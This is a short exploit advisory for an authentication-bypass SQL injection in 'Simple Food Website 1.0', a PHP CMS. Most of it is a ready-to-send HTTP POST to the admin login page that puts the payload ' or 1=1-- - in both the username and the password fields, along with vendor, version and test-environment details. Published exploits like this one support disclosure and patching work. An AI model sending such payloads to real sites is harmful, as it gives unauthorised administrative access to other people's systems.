Simple Food Website 1.0 SQL Injection

`# Exploit Title: Simple Food Website (CMS) | Admin Bypass (SQLi)  
# Exploit Author: Richard Jones  
# Date: 02-04-2021  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/12510/simple-food-website-php.html  
# Version: 1.0  
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34  
  
# Admin Login: http://TARGET/food/admin/process_login.php  
  
POST /food/admin/process_login.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 579  
Origin: http://TARGET  
Connection: close  
Referer: http://TARGET/food/admin/login.php  
Cookie: SSESSaca5a63f4c2fc739381fab7741d68783=xVaP07jLGdxx_p3Qsv1qO_3duBIN1XqSJKxxD4hJFkA; PHPSESSID=8iq8rtprfi0t6s7ou0pj02rt4a  
Upgrade-Insecure-Requests: 1  
  
username=' or 1=1-- -&password=' or 1=1-- -&Sign+In=Sign+In  
`